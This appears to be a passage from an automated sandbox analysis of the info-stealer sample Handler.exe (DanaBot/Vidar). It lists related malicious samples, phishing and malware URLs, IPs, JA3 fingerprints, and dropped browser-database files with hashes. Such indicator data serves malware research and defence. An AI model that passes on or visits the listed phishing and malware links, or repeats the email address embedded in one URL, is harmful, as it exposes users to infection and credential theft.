	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	3bSDIpSIdF.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	3bSDIpSIdF.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	mNPTwHOuvT.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	162.159.61.3
plus.l.google.com	DEEZI80S.pdf	Get hash	malicious	Unknown	Browse	142.250.186.78
	https://drive.google.com/file/d/1dNrtjTqb59ZQTE3gUuVhSjEbFXuJRXW7/view?usp=sharing&ts=6786e61f	Get hash	malicious	Unknown	Browse	142.250.185.142
	http://arthistoryteachingresources.org/2015/02/talk-to-your-profbut-how/	Get hash	malicious	Unknown	Browse	216.58.206.46
	http://sites.google.com/view/delta-1/home/	Get hash	malicious	Unknown	Browse	216.58.206.46
	527.zip	Get hash	malicious	Unknown	Browse	142.250.184.238
	527.zip	Get hash	malicious	Unknown	Browse	216.58.206.78
	https://drive.google.com/file/d/1TF-huc4s6nOnHpT977ywO8Fj-NERebnm/view?usp=sharing_eip&ts=6786926e	Get hash	malicious	Unknown	Browse	142.250.184.238
	http://www.affordablehousing.com/MaineCWL	Get hash	malicious	Unknown	Browse	142.250.184.238
	NoticeOfPayment.docx	Get hash	malicious	Unknown	Browse	172.217.16.206
	https://beinghunted.co.uk//#mark.seymour@capstonelogistics.com	Get hash	malicious	Unknown	Browse	216.58.212.174
s-part-0012.t-0009.t-msedge.net	https://securityalert-corporate.com/click/f288bff9-842d-4e34-8d2d-41ad20e48e9d	Get hash	malicious	Unknown	Browse	13.107.246.40
	Debh Payment Detail.html	Get hash	malicious	Unknown	Browse	13.107.246.40
	qI6cHJbHJg.exe	Get hash	malicious	FormBook	Browse	13.107.246.40
	https://bryf.atchirlisc.ru/EeMAGvIe/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	BWCStartMSI.exe	Get hash	malicious	Unknown	Browse	13.107.246.40
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.40
	vQu0zndLpi.dll	Get hash	malicious	Unknown	Browse	13.107.246.40
	mtbkkesfthae.exe	Get hash	malicious	Vidar	Browse	13.107.246.40
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.40
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://fingertip.com/incoming-document	Get hash	malicious	HTMLPhisher	Browse	3.5.169.67
	https://q89x88qh.r.ap-southeast-1.awstrack.me/L0/https:%2F%2Fblackdoor.in%2Fcazxccall%2Frtyucallingzxc%2F/1/010e01946a4fedf7-6a14e9da-4611-4b34-a7c5-f58f00519f0d-000000/p9HvzYrykwYBivTgZCa5Kf2-wBc=194	Get hash	malicious	Unknown	Browse	52.74.136.124
	https://lgray785.wixsite.com/my-site-4	Get hash	malicious	HTMLPhisher	Browse	99.86.4.105
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	QQE81XYXon.dll	Get hash	malicious	Wannacry	Browse	63.35.17.92
	PO -2025918.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.248.169.48
	txWVWM8Kx4.dll	Get hash	malicious	Wannacry	Browse	52.34.64.1
	hNgIvHRuTU.dll	Get hash	malicious	Wannacry	Browse	13.229.164.57
	https://docs.google.com/drawings/d/1Fix-5JDCTM2QJpjq3c_NOGTxMuhYRiEX3wdVSCqQc9w/preview?FwaxQ	Get hash	malicious	Unknown	Browse	18.245.46.111
	q4e7rZQEkL.dll	Get hash	malicious	Wannacry	Browse	54.76.228.176
CLOUDFLARENETUS	https://fingertip.com/incoming-document	Get hash	malicious	HTMLPhisher	Browse	172.67.40.50
	https://www.google.com.tr/url?sa==SlzLhhFsJ7fGjpM8fvOAkm1z4KC&rct=fETOvblSpCqm85GTYKVdXKip5bkW26kcBgD7HeLR8E6psRE86jAuyRjA7fyhhYHpWk&sa=t&url=amp/sasaol.com/ccy/ptsd/vTd7ocRQy71kDqeKXneUsLH4CLz/YWxpc29uLnNtaXRoQHJic2ludC5jb20=	Get hash	malicious	Unknown	Browse	172.67.196.214
	https://52f1897b.5648702dd4d5255cab645104.workers.dev/?qrc=test@test.org	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	http://www.schoolhouselearningcenter.net/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://52f1897b.5648702dd4d5255cab645104.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://q89x88qh.r.ap-southeast-1.awstrack.me/L0/https:%2F%2Fblackdoor.in%2Fcazxccall%2Frtyucallingzxc%2F/1/010e01946a4fedf7-6a14e9da-4611-4b34-a7c5-f58f00519f0d-000000/p9HvzYrykwYBivTgZCa5Kf2-wBc=194	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://lgray785.wixsite.com/my-site-4	Get hash	malicious	HTMLPhisher	Browse	172.67.162.22
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	172.67.183.191
	main.exe	Get hash	malicious	Unknown	Browse	162.159.135.232
	main old source new token.exe	Get hash	malicious	Unknown	Browse	162.159.133.234
HETZNER-ASDE	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	New order BPD-003777.exe	Get hash	malicious	FormBook	Browse	136.243.64.147
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	PO -2025918.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	136.243.64.147
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	https://yjdjraabb.cc.rs6.net/tn.jsp?f=001cD7EmEKntgjghgQWpq9s2lW_mstWA0PSxRR7i3h0LbK5HgiPx3gu3HduoBs_Rnxmx0i7FlZL9378mrMLd5LlF6GT3bXi2U8GDrXfdsc2qPaLW94j0wm6KbaRHgZvZZRsEDv_wILG0rjmaLTfE5xpKJl15r5SI1xPSSiQsd9YUqKeemOHvTBSlSwV6tHZZ755Z52-jrPWl0FY7ZZ-PKGQ_IxPzhJqeaH15y4Vkailf2jrOpi4MibpjQ==&c=wK30YrUWFPbHl2B1oEErLYSqPkydS65M2el3xt7vMb11ny4WQ0yJgQ==&ch=8IgRaXvzzpu7qgxKTkXdqoYWo2ml_yYytv3GcZQiibggV2wrl_cJAA==	Get hash	malicious	Unknown	Browse	176.9.23.98
AS-CHOOPAUS	i686.elf	Get hash	malicious	Mirai	Browse	192.248.174.130
	xd.x86.elf	Get hash	malicious	Mirai	Browse	44.169.169.76
	Reversed order 24-25.pdf	Get hash	malicious	Unknown	Browse	45.63.57.89
	MK9UBUl8t7.dll	Get hash	malicious	Wannacry	Browse	44.34.121.1
	i486.elf	Get hash	malicious	Unknown	Browse	108.61.212.84
	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse	45.76.251.57
	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse	45.76.251.57
	9d2h99wrj.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11
	Solara.exe	Get hash	malicious	Python Stealer, Exela Stealer, Xmrig	Browse	80.240.16.67
	80P.exe	Get hash	malicious	I2PRAT	Browse	207.246.88.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	QQE81XYXon.dll	Get hash	malicious	Wannacry	Browse	23.1.237.91
	txWVWM8Kx4.dll	Get hash	malicious	Wannacry	Browse	23.1.237.91
	f5mfkHLLVe.dll	Get hash	malicious	Wannacry	Browse	23.1.237.91
	hNgIvHRuTU.dll	Get hash	malicious	Wannacry	Browse	23.1.237.91
	2lX8Z3eydC.dll	Get hash	malicious	Wannacry	Browse	23.1.237.91
	ACH REMITTANCE DOCUMENT 15.01.25.xlsb	Get hash	malicious	Unknown	Browse	23.1.237.91
	Personliche Nachricht fur e4060738.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSPT0wVekqsfeOZRSaz9d28itE0eTxOetbwlGaCx05rQJywXo_UNbDpVWBvKTmUslwem1E0EC2Cp68hMzvjQfllUT9E4DZqDf2uiRmAk3QSMceJiv-2FShXGXSXiT9Fl37dFQYscKLxEMcTJj4tm5gMav6Ov9aRXzCg4yzvno75Wb80hSd5kw8Ua5r4R2pwCFTS4zDFYiEkWB-2BYk1VUWtpkJwb9IQIMAq1SSLT005wiJ2XiGw1jPEr6v61MJQRnC7AeLVtxYgqGlydBoPFbs1IP04-2BxPajuRI3fTsnzWZ9ty3RasYpwuqdrF0E8VoyYkggeeLEm9ENK69uYTCVHWHpxCPkzirQSIkvpt5FNZojg491ibS35IgO0LPU5gnpEaeaUj4-2BZoFUHIAAzMMy-2BYqsZ9F9Ldu1c-3D#X	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	NLWfV87ouS.dll	Get hash	malicious	Wannacry	Browse	23.1.237.91
	330tqxXVzm.dll	Get hash	malicious	Wannacry	Browse	23.1.237.91
37f463bf4616ecd445d4a1937da06e19	BNXCXCJSD.jse	Get hash	malicious	MassLogger RAT	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	setup.msi	Get hash	malicious	Unknown	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	00.ps1	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	00.ps1	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	138745635-72645747.116.exe	Get hash	malicious	Unknown	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	2834573-3676874985.02.exe	Get hash	malicious	Unknown	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	regsvr.exe	Get hash	malicious	Unknown	Browse	116.203.164.230 149.154.167.99 162.0.209.157
	0dsIoO7xjt.docx	Get hash	malicious	Unknown	Browse	116.203.164.230 149.154.167.99 162.0.209.157

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse
C:\ProgramData\us0r9ri58y.exe	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse

Created / dropped Files

C:\ProgramData\8q9zu\2dtjeu

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8q9zu\3oh479

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650875730544462
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMzSAELyKOMq+8yC8F/YfU5m+OlTLVumI:Bq+n0Jz9ELyKOMq+8y9/Owb
MD5:	69CD08558BD8F3852C76EC7C0F4B062B
SHA1:	776FFCA6892DFBF5E9433AF417B4BD7D7AF47BB2
SHA-256:	3CA695F4AEBEEC44BCE4ABDB72B54A377F9076433870D3E9C21A18DD90E60498
SHA-512:	FBB362118DD1C6312C58EDF69787FF9595DB5AA17E17C572C884C5A38186769BAF3A45D6505B1AC4FC190CD2D7BCB935A14610849D73F8FA0BD5461C123E452B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8q9zu\6xb1d2

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\8q9zu\hlnohdjeu

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8q9zu\l6xlf3

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8q9zu\my58gd

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8q9zu\phvaas

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8q9zu\q9rqqqq1d

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\8q9zu\u37g4w

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08438200565341271
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4U:51zkVmvQhyn+Zoz67NU
MD5:	F7EEE7B0D281E250D1D8E36486F5A2C3
SHA1:	309736A27E794672BD1BDFBAC69B2C6734FC25CE
SHA-256:	378DD46FE8A8AAC2C430AE8A7C5C1DC3C2A343534A64A263EC9A4F1CE801985E
SHA-512:	CE102A41CA4E2A27CCB27F415D2D69A75A0058BA0F600C23F63B89F30FFC982BA48336140714C522B46CC6D13EDACCE3DF0D6685D02844B8DB0AD3378DB9CABB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Handler.exe_2ca2a4bd7f8cfe36afcf579a0875d5350a54f62_d95619b5_ff365293-c14f-495a-b65d-aaa38505eb94\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9048022518672725
Encrypted:	false
SSDEEP:	96:RToFaDss00ostgKjTOAqyS3QXIDcQlc6VcEdcw3t+BHUHZ0ownOgHkEwH3dEFWvo:RkMos00oTA0LR3ca2OzuiFKZ24IO8I
MD5:	168D6A3AF73CF66418F27D53B758426D
SHA1:	8E0482FC4FB8075F1F4441DD796DE728BE488B2C
SHA-256:	64D687CD8299F2E219C93C8F3A6E2A24C657A93EB8891E7B624EEB9EAF22AE83
SHA-512:	2CFFC145334B2538E4E1FEE4AFD3DD1A4D68C339CEF34CEDF915965FAF8FD078AE7B49A3EE0F4DDBE195C40FEE8BAB51C9B7225570638D9D1042D74BFDF8C774
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.1.4.4.2.1.6.2.5.7.1.5.6.9.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.1.4.4.2.1.6.3.2.5.9.0.6.5.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.f.3.6.5.2.9.3.-.c.1.4.f.-.4.9.5.a.-.b.6.5.d.-.a.a.a.3.8.5.0.5.e.b.9.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.7.d.8.a.c.6.8.-.8.9.c.4.-.4.7.1.3.-.8.4.4.a.-.1.8.c.3.5.f.5.d.8.8.f.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.H.a.n.d.l.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.H.a.n.d.l.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.b.4.-.0.0.0.1.-.0.0.1.4.-.1.0.a.6.-.5.0.e.a.8.1.6.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.7.6.0.a.9.d.a.9.4.f.1.f.3.a.d.5.1.8.8.d.7.a.e.e.2.1.7.d.4.7.0.0.0.0.0.0.0.0.!.0.0.0.0.1.e.1.9.3.8.3.2.d.a.5.0.5.b.7.4.1.6.f.0.1.a.1.0.8.e.1.3.4.d.4.c.f.b.5.6.f.6.e.5.!.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD9CE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Jan 15 19:16:02 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	165080
Entropy (8bit):	3.9251641448463066
Encrypted:	false
SSDEEP:	1536:2+mWFBpN4uE2aOESVXJbLTgTAp52TACDthWtTvgf9uBojRkR8:2+H4uEqEytLTgsC4kkR
MD5:	213E47D610CC43BAEEDC29A169884EFE
SHA1:	DA4D07A1C67CFD10F2DB2AC161571666033D313D
SHA-256:	45AE54BE70D93615C18205649C3BFE8498614364DC78E66657AB00101478D8E6
SHA-512:	CC8EEAEC55D3EE717DCFB96857347C34B8E3D501F92BBF6C2CC0A266B6BCFF22CB7D94C8BB42D0229F2AEDC471F208A2DB51E9384650F6FE44EB118D092FC3D3
Malicious:	false
Preview:	MDMP..a..... .......r..g....................................$...........$...N0..........`.......8...........T...........($...`..........8...........$...............................................................................eJ..............GenuineIntel............T...........q..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB08.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8376
Entropy (8bit):	3.690293982927877
Encrypted:	false
SSDEEP:	192:R6l7wVeJu869fe6YEIESU9rSq5gmf6VJGTpr089bvIsfnFm:R6lXJ1686YE7SU9rSq5gmf6VJGvv7fI
MD5:	B7753C56A72BEA854C51BBC11619E9BB
SHA1:	58783701111F3CEB8DBB05058A8458574E273C1E
SHA-256:	594642E0F31291C3917F7AFC3A3E8E65E745109F8EBB8246E72132F46EF9EDDF
SHA-512:	12CC1556BCDAA0306008C7B04D4EBC56A9B09386ECF8561E157E06235EEDEC0F1FF2DF934853B32432424F69CD27D402F6D63CFFFCDE5FE7DE145C23BABEA66C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.2.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB47.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4735
Entropy (8bit):	4.434592261779216
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg77aI9s/WpW8VYrYm8M4JEdxPcf6Fc+q8vXdxPcfvQVempDwMQd:uIjfVI7yu7VHJ1fbKwfvQVempLQd
MD5:	782EE2760A9350F58341DF882FD7D430
SHA1:	723B3933BB36458FCA67DEB0E3643F7EDFC7E156
SHA-256:	7534585012BE51F07D6603F6B04C69AB5DDBA749E7172BAB2106F715844D6073
SHA-512:	84A8712D2E5B8E64063CC6F99D2627751945EEE28189CE6CB3CA9F19957B1F83B7042943EC8880BF0E252DD132E6B43C1A001A94043D650E519267CF8C59E10E
Malicious:	false
